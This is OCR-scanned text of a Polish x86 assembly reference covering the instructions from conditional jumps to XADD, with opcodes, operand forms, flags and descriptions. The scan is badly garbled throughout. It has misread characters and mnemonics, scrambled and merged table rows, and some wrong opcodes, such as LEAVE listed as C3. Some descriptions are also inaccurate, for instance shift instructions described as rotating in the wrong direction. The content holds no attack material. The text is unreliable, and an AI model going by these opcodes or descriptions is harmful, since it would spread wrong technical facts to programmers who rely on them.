Skok gdy nie wigkszy luly réwny
7 JAELING rel8 Skok gdy wigkszy lub réwny C=0
Skok gdy nie mnigjszy |
78 JBEAINA reld Skok gdy mniefszy lub réwny C=1 lub Z=1
Skok gdy nie wigkszy
77 JANBE rel8 Skok gdy wigkszy ' C=0 i 7=0
Skok gdy nie mniejszy lub rowny
74 JEAZ relB Skok gdy rowny 7=1
75 JNEANZ reld Skok gdy nie rdwny 7=0
C JLINGE rai8 Skok gdy mnigjszy (liczby ze znakigm) 5=0
Skok gdy nie wigkszy lub réwny
JGE/MNL rel8 Skok gdy nie wigkszy 5=0
70 {liczby ze znakiem)
Skok gdy nie mniejszy
“E JNG/JLE reld Skok gdy mnigjszy ub rowny _ Z=1luk S=0
Skok gdy nig wigkszy (ficzby ze znakiem)
7F JG/JNLE reld Skok gdy wigkszy (liczby ze znakiem) 7-0 i 8=0
Skok gdy nie mniejszy lub rowny B
7A JPIJPE reld Skok przy parzystosci P_q
7B JNPAIPO reld Skok przy braku parzystosci p=0
78 JS relg Skok gdy znak ujemny g1
79 JNS rel Skok gdy znak dodatni S=0
72 JC tel8 Skok przy przeniesieniu C=1
73 JNC reld Skok przy braku przeniesienia C=
70 JO rel8 Skok przy nadmiarze 0=1
2 JNO rel8 Skok przy braku nadmiaru =0
E3 JCXZ 1el8 Skok jesli rejestr CX =0 CX=0
E3 JECXZ el Shok jesli rejestr ECX = 0ftylko 80386) ECX=0
oFso | JBANAE rell6/32 Skok gdy mnigjszy , C=1
- Skok gdy nie wigkszy lub rowny
COF 83 JAE/INB relt6/32 Skok gdy wigkszy ILb rowny C=0
Skok gdy nie mnigjszy
OF 85 JBE/INA rel16/32 Skok gdy mniejs2y lub rdwny C=1lub Z=1
Skok gdy nie wigkszy '
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Kod Postac Znaczenie Warunek
OF 87 JANBE relf 32 gtgi gf:ﬁ :1]:‘ Tns;%;jszy lub réwny C=012:0
OF 84 JE/JZ rei16/32 Skok gdy rowny 71
OF 85 JNE/INZ rel16/32 Skok gdy nie rowny 70
oFsc | JLAINGE reli/32 giégt gg; mgiﬁizzkyg g;cﬁlbbyrgi ﬁr;akiem) $=0
oF 8D JGEUNL rel16/32 gm gg; 2{2 gﬁgg y{liczby ze znakiem) 8=0
OF BE NOULE 116132 Etgt 33; mglﬁzi{gb(lﬁ?bn; 28 znakiem) 251 b 50
oo [omewee | gy | w0180
OFBA | JP/JPE rel16/32 Skok przy parzyslosci P=1
OF 8B JNPAIPO rel16/32 Skok przy braku parzystosci P=0
OF 88 JS rel16/32 Skok gdy znak ujemny S=1
OF 89 JNS rel16/32 Skok gdy znak dodatni S=0
OF 82 JC ret16/32 Skok przy przeniesieniu C=1
OF 83 JNG rel16/32 Skok przy braku przeniesienia - C=0
OF 80 JO rel16/32 Skok przy nadmiarze | O=1
QF 81 JNO relt6/32 Skok przy braku nadmiaru 0=0

Qpis: Instrukcie dokonujg skoku pod odpowiedni adres w pamigei jesli spelniony jest ckreslony

warunex,
Rozkaz: JMP
Procesory: Wszystkie
Znaczniki:

D! TS Z A P ¢ .

Kod
EB relg L
E9 relé :
FF/4 vmi6 -
EA pir16:16 ;
FF/5 mi6:16 i
E9 reld2
FF/d r/m32
EA ptr16:32
FF/5 m16:32 _
Opis: Rozkaz powoduje bezwarunkowy skok pod dany adres.
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Rozkaz: LAHF
Pracesory: Wszysikie
Znagcznikt:
oODI T S8 Z A P C
Kod Argumenty
94 Brak
Opis: Funkcja taduje mniej znaczacy bajt rejestru znacznikow do rejestru AH.
Rozkaz: LAR
Procesory: 80286
Znaczniki:
QDI T S§ £ A P C
¥od Argumenty
OF 02 r6,r/mi6
OF 02 r32,fma3z2
Opis: Rozkaz faduje do rejestru prawo dostepu. Drugi argument musi przedstawiac selektor. Jes-
li deskryptor znajduje sig wewnalrz odpowiedniej tablicy, to zostanie ustawiony znacznik Z,
a baijt dostepu do deskryptora zostanie zatadowany do doinego baijta pierwszego operan-
da. W przeciwnym wypadku znacznik Z ulegnie wyzerowaniu.
Rozkaz: LEA
Procesory: Wszystidé
Znaczniki:
oODI TS Z A P G
Kod A%um&my
8D rig,m
8D r32m
Opls: Funkcja oblicza offset adresu drugiego argumentu | taduje go do pierwszego operanda,
Rozkaz: LES,LDS,LGS,LSS,LFS
Procesory: LES,LDS - wszystkie; LGS, LFS LSS - 80386
Znaczniki:
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Kaod Argument
C5 LD% r16,m16:16
Ch LDS ra2mié:32
OF B2 L35 remis:16
OF B2 LSS r32,m16:32
Cd LES re,mig:16
C4 LES r32,mi6:32
OF B4 LFSTr18,m16:16
OF B4 LFS r32,mig:32
OF B5 LGS r16,miB:16
OF B5 LGS r32,m16:32
Opis: Instrukcje czylajg peiny wskaZnik z pamieci {drugi argument) | umieszczaja go w parze
rejestrow ES(DS,GS,55,FS):rejestr (pienvszy argument). Trzy ostatnie z nich dziatajg tylko
ha pracescrach od 80386.
Rozkaz: LEAVE
Procesory: BO2B6
Znaczniki:
DI T S§ Z A P c
EEEEEEEREEREEE
Kod Argumenty
C3 Brak
Opis: Instrukcja odwrotna do ENTER. Zwalnia pamigé na stosie przydzielong peprzednio przed
wywotaniem procedury wysokiego poziomu.
Rozkaz: LGDT,LIDT
Procesory: 80286
Znaczniki:
cDt! T8 2 A P c
Kod Argumenty
OFQ1/2 LGDT m16&32
OF01/3 LIOT m16&32
Opis: Rozkary laduja do rejestru GDTR/IDTR (ang. Global Descriptor/Interrupt Descriptor Table
Reqister - rejestr globalnego deskryptora /deskryplora przerwan) zawartosc 6 bajtow. 53
1o jedyne rozkazy trybu wirtualnego opervigce fizycznym adresem. S3 one wykorzystywa-
ne tylko w oprogramowarniu systemowym.
Rozkaz: LLDT
Procesory: . 80286
Znaczniki:
o1 T8 2 A P c
Kod n
0F00/2 m16
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Opis: Rozkaz taduje rejestr LDTR {ang. Local DescripioF Table Registar — rejesir lokainego de-
skryptora). Operand powinien zawierac selektor do globalnego deskryptora. Jesl deskryp-
tor ten zawiera tablicg LDT t¢ odpowiednie dane zostang przestane do LCTR.

Rozkaz: LMSW

Pracesory. 80286

Znaczniki:

C DI TS Z A P c
¥ T ;' E
TR -

Kod Argumenty

OF01/6 m16

Opis: Instrukcja powoduje przesianie argumentu do rejestru stanu procesora MSW. Umozliwia
ona na przyklad przejscie procesora z trybu rzeczywistego do wirtualnego. Jest uzywana
tylko w oprogramowaniu systemowym.

Rozkaz: LOCK

Procesory: Wszystkia

Znaczniki:

oDi TS Z A P c

Rl Aigunernty

2] Brak

Opis: Instrukeja powoduje zablokowanie wszetkich dodatkowych operacji kemputera podczas wy-
konywania rozkazu nastgpujaceqo po nigj. Jest przydatne jeslt musimy zmieni¢ od razu pa-
re rejestrdw wskazujacych segment i offset adresu.

Rozkaz: LODS,LODSE,LODSW,LODSD

Procesory. Wszyskie, LODSD - 80386

Znaczniki:

0O D! T S Z A P C
)
]
E

Kod ,E,r%umenty

AC LODS m8

AD LODS mi6

AD LODS m32

AC LODSB

AD LODSW

AD LonsD

Opis: Instrukcje powodujg zaladowanie do rejestru AL {AX,EAX) bajtu (stowa, stowa podwdjne-
go) spod adresu DS:[(E)S). Jesli D jest ustawiony to zmniejszajg, a jesli wyzerowany, zwig-
Kszaja zawartost rejestrd (E}Slo 1 (2, 4).

Rozkaz: LOOP,LOOPe

Pracesory: Wiszystkie
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Znaczniki:

ODI T8 2 A P C
Kod Postaé Warunek
E2 LOOP reld
E1 LOOPE rel8 Z=1
E1 LOOPZ rel8 Z=1
E0 LOOPNE rel Z=0
EC LOOPNZ rel8 Z=0
Opis: Rozkazy petli. Zmniejszajg zawariosé rajestru {E}CX o 1, a nasigpnie jesh rejesir ten nie
jest rowny zeru oraz jest spetniony warunek podariy w rozkazie skacza pod odpowiedni ad-
res.
Rozkaz: LSL
Procesory: B0286
Znaczniki:
DI TS Z A P C
Kad Argumenty
OF 03 18,/m1B
0OF 03 r32,rfm32
Opis: Instrukcja powoduje zatadowanie do pierwszego aperanda rezmiaru segmentu. Drugi argu-
' mant musi zawierad selektor segmentu i wskazywad na prawa dostgpu. W przypadku pra-
widtoweqo przebiegu operacji znacznik Z przyjmie wartose 1.
Rozkaz: LTR
Procesory: 80286
Znaczniki:
oDI T S§ Z A P C
Kod rgumen
OFOG/3 rfmt8
Opis: Rozkaz taduje rejestr TR {(ang. Task Register — rejestr zadania) przez zawariosc argumen-
tu, Wiasciwy dia zadania segment oznacza sig jako aktywny. Mie powoduje przelaczania
zadart. Rozkaz powinien by¢ stosowany tylko w oprogramowaniu systemowym.
Rozkaz: MOV
Procesory: Wszystkie
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Znaczniki;
C DI T S§ 2 A P C
Kod Arqumenty
88 HmB,r8
89 /m16,r16
89 Hm32,r32
8A 18,1/m8
8B ri6,/mig
8B r32,rfma32
8C mi6,rs
8D rs,I/m16
AD AL,moffs8
Al AX moffs16
Al EAX moffs32
A2 moffsB AL
A3 moffs16,AX
A3 mofis32,EAX
BO 18,imm&
B8 re,immig
B r32,imm31
Cé r'm8,immg
C7 rfm16imm16
C7 /maz2,imm32
Cpis: Rozkaz powoduje przestanie warlosei drugiego operanda do pierwszego.
Rozkaz: MOV
Procasoty: 80386
Znacznik!
OD I T S8 Z A P C
Kod
OF 20 r32,CRn
OF 22 CRn,ra2
OF 21 r32,DRn
OF 23 CRn,r32
OF 24 r32,7Rn
OF 26 TRn 32
Opis: Razkaz przesvla dane miedzy rejestrami ogdlnege przeznaczenia, a rejesirami specjalny-
mi: CRO/CR2/CR3 - rejestry kontrolne, CRJ, DR1, DR2, DR3, DRS, DR7 - rejestry ,odplu-
skwiania” TR8, TR7 — rejesiry testowe.
Rozkaz: MOVS,MOVSB,MOVSW,MOVSD
Pracesory: Wszystkie, MOVSD - 80386
Znaczniki:
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Kod Argumenty
Ad MOVS m8,m8
A5 MOVS m18,16
Ab MOVS m3z2,m32
Ad MOVSH
AS MOVSW
Ab MOYSD
Qpis: Przekopiowanie do komdrki ES:[{EYDI] wartosci DS:[(E)SI} oraz zmniejszenie (E)DI 1 {E)SI
0 rozmiar komdrki, jesli znacznik kierunku D jest ustawiony, lub zwiekszenie (E}SI i (E)C
o rozmiar komérek jeden jesli D jest wyzerowany. Instrukcja poprzedzona przedrostkiemn
REP moze stuzyé de kopiowania faricuchdw. Instrukecja MOVSB kopiuje baity (rozmiar 1),
MOVSW - stowa (rozmiar &), MOVSD - stowa podwéjne (4).
Rozkaz: MOVSX
Procesory: 80386
Znaczniki:
O DLV TS Z A P C
L]
Kod Argumenty
OF BE r16,#mé
0F BE r32,:/m8
OF BE r3z2.fmig
Opis: Instrukeia pobiera wartosé drugiego argumentu traktujac g jake liczbe ze znakiem i odpg-
wiadnio rozszerza (Poprzez powielenie najbardzie] znaczacego bitu) bez zmiany wartosci,
tadujge do pierwszega operanda.
Rozkaz: MOVZX
Procssory: 80386
Znaczniki:
D1 7T 8 Z A P c
T
| | |
Kod Arggumgnly :
OF B6 116,/m8
OF B& 132,r/m8
OF B7 132,1/m16 |
Opis: Instrukcja pobiera wartosc drugiego argumentu trakiujac jg jake liczbe bez znakui odpowie- L
dnio rozszerza (Poprzez powielenie zer ) bez zmiany wartosci, tadujge do pierwszego ope- E
randa.
Rozkaz: MUL
Procasory: Wsozystkie
Znacznikt:
ootV TS Z A P C
. 217 ? 2 . -
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Kod
F&/d t/m8
F7i4 ifmig
FTid rfm32
Opis: Rozkaz wykonuje mnoZenie dwdch liczb bez znaku i umieszeza wynik w pierwszym ope-
randzie. Jesli argument jest 8{16,32)-bitowy to mnozy go przez zawarlosé przez AL {AX,
EAX), a wynik jest umieszezany w AX {DXAX, EDXEAX). Jesli rezultat nie miesci sig w re-
jestrze docelowym, to Jest ustawiany znacznik C.
Rozkaz: NEG
Procesory: Wszystkie
Znaczniki.
D1 T3S Z A P C
L + ‘ |: l". t * * . "
HERRREE
Kod Argumenty
F&/3 rm8
F7/3 m16
F713 Hma32
Oopis: Flozkaz zamienia zawartost operandu na jego dwdéjkowe dopelnienie. Operand jest odej-
mowany od zera, a warlos¢ umieszczana w operandzie.
Rozkaz: NOP
Procesory: Wszystiie
Znaczniki:
opD1 T8 Z A p C
Kod rqument
a0 Brak
Opis: Instrulcja pusta. Inna jej forma to XCHG (EJAX (E}AX
Rozkaz: NOT
Procesory: Wszystkie
Znaczniki:
QDI T E§8 Z A P c
| [ I
RN
Ked Argumenty
FE/2 1#m8
Fife mig
F7i2 1fm32
Opis: Rozkaz powoduje zanegowanie operandu, wpisujac na miejsce kazdego bitu, bit jemu prze-
Ciwny.
Rozkaz: OR
Procesory: Wszystkie
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Inaczniki:
oObI T s Z A p c
H T ? 0
Kod Argumenty
0C AL Immg
oD AX imm16
oD EAX,imm32
80M1 r/ma,itmm3
811 #m16,imm16
8111 maz,immaz2
8 1fm32 imm8
B83A rfm8,r8
0B0A fmi6,re
09 1fm32,r32R8,1/m8
09 r8,rmi6
0B 32, r/m32
0B :
Opis: Rozkaz wykonuije operacjg sumy iogicznej na kazdej parze odpowiadajgcych sobie bitow
dwdch operanddw i umieszcza wynik w pierwszym operandzie.
Rozkaz: ouT
Procesory: Wszystkie
Znaczniki:
DI TS 2 A P C
Kod n
E6 imm8 AL
E7 immg,AX
E7 imm8,EAX
EE DX, AL
EF DX, AX
EF DX.EAX
Opis: Instrukeja przenosi bajt lub stowo 2 rejestru AL (AX, EAX) do portu, ktdrego numer podany
jest jako pierwszy argument. Jesh argumentem tym jest statz, to mo2liwy jest dostep tylko
do portow 0-255.
Rozkaz: OUTS,0UTSB,QUTSW,0UTSD
Procesory: 80286; OUTSD - 80386
Znaczniki:
ODI T S§ Z A P C
Ked A@m&ty
6E oUTS DX, rim@
8F QUTS DX./m186
6F QUTS DX,rfm32
6E QuUTSB
6F OUTSW
6F OUTSD
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Opis: instrukgje powodujg wprowadzenie do portu o humerze w DX jednego bajtu (stowa, slowa
podwojnege) z adresu £8:[(E)DI} i zwigkszenie jesli znacznik D=0 lub zmniejszenie jesli
nacznik D=1 rejestru (E)DIo 1 (2,4).
Rozkaz: POP
Pracesoty: Waszystide
2Znaczniki:
C DI T s Z A P C
ked r
8F/0 mi6
8F/Q m32
58 riB
58 r32
iF )
o7 ES
\ij 35
OF A1 FS
OF A9 GS
Opis: Procedura zdejmuje rejestr lub komdrke ze stosu. Nie istrigje instrukcia POP GS, ponie-
waz rejestr CS jest zdejmowany przez instrukejg RET.
Rozkaz: - POPA,POPAD
Procesory: POPA - 80286; POPAD - 80386
* Znaczniki: '
ODII TS 2 A P C
Kod ﬂ):ogumgntg
&1 POPA
61 POPAD
Opis: Instrukcje zdejmuia 2# stosu wszystkie rejestry ogéinego przeznaczenia.
‘Rozkaz: POPF,POPFD
Procesory: POPF — Wszysikie; POPFD — 80386
Znaczniki;
oD+ TS 2Z A P C
Kod n
b POPF
9D POPFD
Opis: Instrukcje zdejmuja ze stosu rejestr znacznikow.
Rozkaz: PUSH
Procesary: Wszysikie
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Znaczniki:

Kod Argumenty

FFi8 m16

FF/8 m32

50 16

50 r32

6A tmma

68 imm16

8 mm32

OF CS

18 - 55

1E DS

06 ESRFS

OF A0 GS

OF A8

Dpis: Rozkaz kiadzie na stos rejestr lub komorke pamigci.
Rozkaz: PUSHA,PUSHAD

Procesory: PUSHA - 80286; PUSHAD - 80386
Znaczniki:

O D1 T8 Z A P C

Ked Argumen
60 PﬁSHA

80 PUSHAD

Opis: Rozkaz kiadzie na stos wszystkie rejestry ogdlinego przeznaczenia.
Rozkaz: PUSHF PUSHFD

Procesory: PUSHF — Wszystkie, PUSHFD - 80386

Znaczniki:

ODI TS Z A P C

HENEEEREEN

& FRTE

et TN e e e a ..:___._.__...._.__..:.....,.....

aC PUSHFD

Opis: Rozkaz kiadzie na stos rejestr znacznikow.
Rozkaz: RCL,RCR,ROL,AROL

Progesory: Wszysikie

Znacznikj

DI T8 Z A P G
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Do/2 RCL t/m8,1

D22 RCL £/mé ¢l

Co/2 RCL i/m8,imm8

p1/2 RCL fm16,1

03/2 RCL rfm18,CL

Ci/2 RCL rfm16,imms

/2 ACL tfmaz 1

D32 RCL rfm32,CL

G2 RCL rrm32,imma

D03 RCR rfm8, 1

D213 RCR rm8.cl

C0/3 RCR r/m8 imm8

D113 RCR 1/m18,1

D3/3 RCA 1im16,CL

C173 RCAR fm18,imma

D13 RCR rfm32,1

D3/3C1/3 RCR t/m32,CL

Do/D ACR #m32,imms

D210 ROL r/m8, 1

CO/0 ROL rfm8.cl

D140 ROL rfm,imm8

D3/ ROL m18,1

C1/0 ROL i#/m15,CL

(3% ROL #m16,mms

D3/ ROCL rm32,1

G110 ROL rim32,CL

Do ROL #m32,immBRROR  rm8g,1

D2/1 ROR r/m8,cl

CoA ROR t/mBimma

Din ROR rm16,1

D3 ROR rm16,0L

Cif1 ROR r/m16,imm3

DiA RCL tma2,1

D3N _RCL rm32,CL

CiA RCL fm32,imm8

Onis: Kazda z tych instrukeji powoduje przesunigeie cyiliczne pierwszego operanda o taka logé
bajtéw, jaka jest przekazana w drugim argumencie. Rozkazy RCL i RCR powodujg odpe-
wiednio przesuniecie w lewo i prawo z uwzglednieniem znacznika C, to znaczy wartosc C
jest przekazywana do pierwszego bitu obracanege bajtu, a wartosc ostatniego bajtu jest
przekazywana do G. Rozkazy ROL | ROR réwniez powoduja obrét w lewo lub prawo, ostat-
ni {,wychodzacy") bajt jest koplowany do pisrwszego bajtu i do znacznika C.Znacznik
0 jest ustawiany tylko dla pojedynczych wersji rozkazu, Dia przesunigé w lewo O jest usta-
wiane, jesti znacznik C i najbardziej znaczaey bit wyniku sq rézne. Dla przesuniqt w prawo
0 jest ustawiany, jesli dwa najbardzie] znaczace bity wyniku sg od siebie rézne.

Rozkaz: REP,REPE,REPZ,REPNE,REPNZ

Procesory. Wazystite

Znaczniki:
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Kod Ar%gmgnig
F36C RE INS rm8,DX
F3 6D REP INS rfm16,0X
FI&D REP INS mig
F3 BE REP QuT i/m8,DX
F3 6F REP ouTT rm16,DX
F36F REP ouT m32,0X
F3 A4 REP MOVS m8,m8
F3 A5 REP MOVS mi16,mi6
F3 AS REP MOVYS m32,m32RREP STOSTm8,m3
F3 AA REP ST0S m16mi16
F3 AB REP STOS m32m32
F3 AB REPE MOVS m8,ms
F3 AB REPE MOVS m16m16
F3 A7 REPE MOVS m32 m3z2
F3 A7 RERE STOS m8,m8 ;
F3 AE REPE STOS mi6mié
F3 AF REPE STOS m3z,m32 i
F3 AF REPNE MOVS m8,m8 i
F2 A6 REPNE  MOVS m16,m16 |
F2 A7 REPNE  MOVS m32,m32 i
F2 A7 REPNE  STOS mB,mERREPNETSTOSm16,m16 :
F2 AE REPNE  STOS m32,m32 _
F2 AF fi
F2 AF
Qpis: REP (powtarzaj), REPE (powtarzaj dopdki rowne), REPNE {Powtarzaj dopoki nie réwne)
sg prefiksami poprzedzajacymi instrukeje dziatajace na taricuchach. leh dziatanie jest na-
stepujgce:
1. Jedli rozmiar adresu jest 16-bitowy jake licznik jest uzywany rejestr CX, jesti 32-bitowy - _
rejestr ECX (procesor BO386). i
2. Sprawdzaja czy rejestr CX (ub ECX) jest réwny 0, jesli tak, to iteracja jest przerywana 5
i nastgpuje skok do nastgpnej instrukgji. !
3, Wykonanie jednorazowej operacji na farcuchy. :
4, Zmniejszenie (E)CX o 1, bez zmiany rejestru znacznikow.
5. Jedli operacja na taricuchu jest SCAS lub CMPS to sprawdzajg znacznik Z. Jesli Z nie
jest ustawiony (ostatnie pordwnanie zakoriczylo sie wynikiem negatywnym) to koricza itera-
cie. Dla pozostatyeh instrukgii sprawdzaja ieszcze odpowiednio dia instukcji REPE{REPZ)
czy znacznik Z jest ustawiony , dia instrukeji REPNE(REPNZ) czy znacznik Z jest wyzero-
wany. Jesli te warunki nie 54 spefnione, to koricza iteracig | skaczq do nastgpne] instrukejl.
6. Wracajg do punktu 1, aby wykonad nastgpny krok iteracjl.
Rozkaz: RET,RETF
Procesory: Waszystkie
Znaczniki:
ODI TS Z A P C
M n I
C3 HET :
CB RETF
c2 RET imm16
CA RETF imm16
Qpis: [nstrukcja powrotu (dalekiege lub hliskieqgn) 7 procedury. Polega na zaladowaniu rejestru
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IP {  ewentuginie CS) warlosciami zdjetymi ze stosu, Opcjonalny parametr oznacza liczbe
bajtéw ( w trybie adresowania 32-bitowego liczbeg stow), kidre rozkaz ma zdjgc ze stosu.

Strona:93



93

Rozkaz: SAHF
Procesory: Wszystkie
Znaczniki
QDI T 858 Z A P C
Kod Argumen
9E Brak
Opis: Rozkaz powoduje zatadowanie dolnege bajiu rejestri znacenikéw zawartoscia rejestru AH.
Rozkaz: SAL.SAR,SHL,SHR
Procesory: Wszystkie.
Znaczniki:
L i T 8 2 A P c
i L] i "
RERERE
Kod Argumenty
Do/ SAL ifmB, 1
02 M4 SaL rfm8.c
Co/M4 SAL rfm8,imm§
D1/4 SAL ’m16,1
D3/4 SAL #m16,CL
C1/4 SAL #m16,imms
D1/4 SAL Hm32,1
D3/4 SAL ’m32,CL
c1/ SAL rfm3z2imme
Do /7 SAR r/m8,1
D27 SAR rim8.cl
007 SAR 1fm8,imma !
017 SAR rm16,1
0377 SAR mig,CL
C17 SAR rfm46.imm8
D177 SAR fm3e,1
D37 SAR rfm3a2,CL
i SAR r/m32 imm8&
00 /4 SHL rfms,1
D2 /4 SHL rfm8,c!
G0/ SHL tm8,immsg
D1 SHL rmié,1
034 SHL ’m16,CL
Cl/4 SHL /m16,imm3
DA SHL 1fm32,1
03 /4 SHL fm32,CL
C14 SHL m32,imms
Do/ SHR rfm8,1
D2/ SHAR rm8,cl
Co/ss SHR rYm8,imm3
s SHR fm16,1
D3/ SHR r/m16,CLRSHRmM16 imm8
Gl SHR maz, 1
Difs5 SHR tm32,GL '
03/5 SHR rfm32,imm8 J
G155
Opis: Instrukeja SAL{SHL) obraca pierwszy operand w lewo. Najbardzie] znaczacy hit jest przeka-
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zywany do znacznika C, a najmniej znaczacy jest ustawiany na 0. SHR i SAL obracaja ope-
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rand w lewo. Najmniej znaczacy bajt jest przekazywany de znacznika C. Instrukeja SHR
nowiela najbardziej znaczagcy bit, natomiast instrukeja SAR zernuje go. Drugi argument za-
wiera liczba powtorzen aperacji. Znacznik O jest ustawiany tylko w przypadku pojedyr-
czych wers] rozkazu. Dia przesunigeia wlewe wskaznik O jest uslawiany jesli najbardziej
znaczacy bit rezultatu jest rozny od znacznika C. Dla SHR do O jest kopiowana zawartosc
najbardziej znaczacego bajtu operanda. Dia SAR O jest zawsze zerowany.

Rozkaz: SBB
Procesony: Wszystkis
Znaczniki:
Op1 TS Z A P (0
IREERRRORERREE
Kod Argumenty
18 rm8,r8
19 rfmi86,r16
19 Hm3z2,r3z
1A r8,7/mb
1B r16,ifm 16
1B r32 rfm32
1C AL, mm8
10 AX,mmig
10 EAX imm32
B80/3 f/mg,immB
81/3 #mi6imm16
8173 rfm32,imm32
833 r’'m16,imm3
83/3 rfm32,imm8E
Opis: Odejmowarie z uwzglgdnieniem przeniesienia. Rozkaz dodaje drugi operand do znacznika
C, a wynik odejmuje od pierwszego operandu. Wynk koricowy jest Umieszczany w piery-
szym operandzie.
Rozkaz: SCAS,SCASB,SCASW,SCASD
Procesory: Wszystkie, SCASB - 80386
Znaczniki:
oD+t TS Z A P C
Kod Argurent
AE S[C';AS m8
AF SCASm16
AF SCAS m32
AE SCASB
AF SCASW
AF SCASD
Opis: Instrukcje powoduia odjgcie od rejestru AL (AX,EAX) zawarlosci bajtu {stowa, slowa pod-
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woinego) spod adresu ES:{(E)DI]. Wynik nie jest nigdzie zapisywany, tytko na jego podsta-
wie instrukcje ustawiaja znacznikl. Jesli D jest ustawiony 0 po wykonaniu odejmowania
zmnieiszaja, a jesli wyzerowany, zwigkszajg zawartost rejestru {EDio 12, 4).
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Rozkaz: SETce
Procesory: 80386
Znaczniki:
O DI T 8§ 2 A P C
B Ked ~ Postac Warunek

OF92 | SETB/SETNAE #m C=1

OF 83 SETAE/SETNB r/m8 C=0 ]

OF 96 SETBE/SETNAm8 C=1 lub Z=1

0F 97 SETA/SETNBErm3 C=0i Z=0

"""" . OF94 SETE/SETZ fmé 21

OF 95 SETNE/SETNZ 1/m8 Z=0

OF 8C SETL/SETNGE r/m8 50

OF 3l SETGE/SETNL r/m8 5=0

OF 8E SETNG/SETLE rimd Z=11ub 50

OF9F | SETG/SETNLEr/m8 Z-0 18=0

OF 9A SETP/SETPE 1/m8 P=1

OF 9B SETNP/SETPO r/m8 P=0

0F 98 SETS /m8 S=1

0F 99 SETNS 8 5=0 "

OF 92 | _SETCt/m8 C=1

OF 83 SETNG tmé C=0

{OF 50 SETO #m8 O=1

OF 91 SETNO r’fm8 0=0
Opis: Instrukeje przesytaja do operaﬁ:‘iu bajt zawierajacy 1, jedli odpowiedni warunek jest spetnio-

ny, w przeciwnym razle przesylajg bajt rowny 0.
Rozkaz: SGDT,SIDT
Procesary: 80286
Inaczniki:

O DI TS Z A P C
f
R

Ked Argumenty 11
QFO1/0 SGDT m16&32 i
0ro1/0 sIoT m16&32
Opis: Hozkazy kopiuja rejestr GDTR/IDTR {ang. Globat Desciiptor/interrupt Descriptor Table He-
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gister - rejestr globalnego deskryptora /deskryptora przenwari) do szesciu bajtow pamigci
wskazywanych przez operand. Sg to jedyne rozkazy trybu wirtualnego operujace fizycz-
nym adresem. Sg one wykorzystywane tylko w oprogramowaniu systemowym.
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Rozkaz: SHLD
Procesory: 80386
Znaczniki:
oOoD1I1I TS Z A P C
f'} + [ -? " *
Kod Argumenty
OF A4 tm16,r16,imme
OF A4 m3zg 132,imms
QF Ah tfm16,r16,Cl
OF A5 #m32,r32,Cl
Opls: Przesuniccie logiczne w lewo dansj zlozonej ze skonkatencwanego pierwszego | drugiego
operandy. Trzecl argument okresla liczbg powtérzen operacj,
Rozkaz: SLDT
Procesony. 80286
Znaczniki:
Q DI T S Z A P C
Kod Argumenty )
OFQ0/0 6 ._
Opis: Rozkaz kopiuje rejestr LDTA (ang. Local Descriptor Table Register - rejestr lokalnego de-
skryptora) do operandu.
Rozkaz: SMSW ;
Procesory: 80286
Znaczniki:
cp1I1 T8 2 A P C
|
Kod |
OF01/4 rm16 :
Opis: Instrukcja powoduje kopiowarie rejestru stanu procesora MSW do operandu, Jest uzywa-
na tylko w oprogramowaniu systemowym. b
Rozkaz: STC 7
rrocesory: Wazystlic .
Znaczniki:
D! TS Z A P C
]
Kod Argumenty
F9 Brak
Opis. Rozkaz ustawia znacznik przeniesiena C.
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Rozkaz: STD
Procesory: Wszystkie
Znacznlki:

oD I T S8 2 A P "

1
Kod Argumenty
FD Brak
Opis: Rozkaz ustawia znacznik kierunku D.
Rozkaz: STl
Procesory: Wszystkie
Znaczniki:
: ODb1 TS Z A P C
HERER LLLLL

Kod Argumenty
FB Brak
Opis: Rozkaz ustawia znacznik zezwolenia na przerwanie |.
Rozkaz: STOS,STOSB,STOSW, STOSD
Procesory: Wszyskie, STOSD - B0386
Znaczniki:

DI T8 Z A P C
Kod Argumenty
AA STOS m3
AB STOS m16
AR ETOS maz2
AA STOSB
AB STOSW
AB STOSD
Qpis: Instrukcje powodujg przestanie zawartodci rejestru {AX,EAX) do bajtu (stowa, slowa pod-

wajnego) spod adresu ES:[(E)DI). Jesli D jest ustawiony to zmniejszaja, a jesli wyzerowa-
ny, zwiekszaja zawarlosé rejestry (E)D1 o 1 {2, 4).

Rozkaz: STR
Procesory: 80286
Znaczniki:

C DI TS§ Z A P C
Kod rguman
0F00A Hm16
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Qpis: Rozkaz kopiuje zawartosé rejestru TR (ang. Task Register — rejestr zadania) do operandu.

Rozkaz powinien hy¢ stesowany tylko w oprogramowaniu systemowym.
Rozkaz: SUB
Procesory: Wszysikie
Znaczniki:

oD I T8 Z A P C
| . R . * W
i 1 N

Kod Argumenty
28 rfm8,r8
29 ifm16,r16
29 1fm32,r32
PA 8,/md
28 ré fmig
2B r3z.ifm32
2C AL,mm8
2D AX,Imm16
2D EAX,imm32
80/5 r/m8,imm83
81/5 mi18,immié
81/5 r/m32,mma32
83/5 t/m16,mm8Rrim32,imm8&
83/5
Opis: Odejmowanie bez uwzglednienia przeniesienia. Rozkaz odejmuje drugi argument od pierw-

s2eg0. Wynik odejmowania jest umieszczany w pisrwszym operandzie.
Rozkaz: TEST
Procesory: Wszystkie
Znaczniki:

D1 T8 Z A P C
| i I

(L Tl T[T Tl -] ol
Kod n
84 rfm8 g
85 rm16,r1e
85 fm3z2,132
A8 AL,imm8
A9 AX,imm16REAX,imm32
A9 r’m8,imm8
F&/0 Hm16,imm16
F7/0 Hm3z2,imm32
F7/0
Opis: Rozkaz oblicza iloczyn logiczny dia wszystkich odpowiadajgeych sobie par bitdw. Wynik

nie jest nigdzie zapisywany, tylko na jego podstawie ustawiane sq znaczniki.
Rozkaz: VERR,VERW
Procasory. 80288
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Znaczniki:
oD I1 TS Z A P C
[ |-
i -
Kad Argununly
QF00/4 VERR tim16
OF00/5 VERRW  ¢/m16
{pis: Instrukgcje okreslaja, czy segment wskazywany przez selektor znajdujgcy sig w operandzie
jest dostepny z biezacege poziomu uprzywilgjowania dla odezytu (VERR) lub zapisu
(VERW). W przypadku pozytywne] odpowiedz znacznik Z jest ustawiany, w przeciwnym
wypadku zerowany.
Rozkaz: Wait
Procesory: Wiszystkie
Znaczniki:
o1 1785 2 A P G
NN
jite.s] men
9B Brak
Opis: Rozkaz zawiesza wykonywanie rozkazéw, nastgpuje po odebraniu sygnatu korica pracy
urzqdzenia zewnetrznego {najczesciej koprocesora).
Rozkaz: WBINVD
Procesory: 80486
Znaczniki:
ODI T S8 2 A P ¥
|
i
]
Kod Argumenty
Brak
Opis: Ponowny zapis | unigwaznienie zablokowania danych.
Rozkaz: XADD
Procesory: 80486
Zraczniki:
DI TS Z A P C
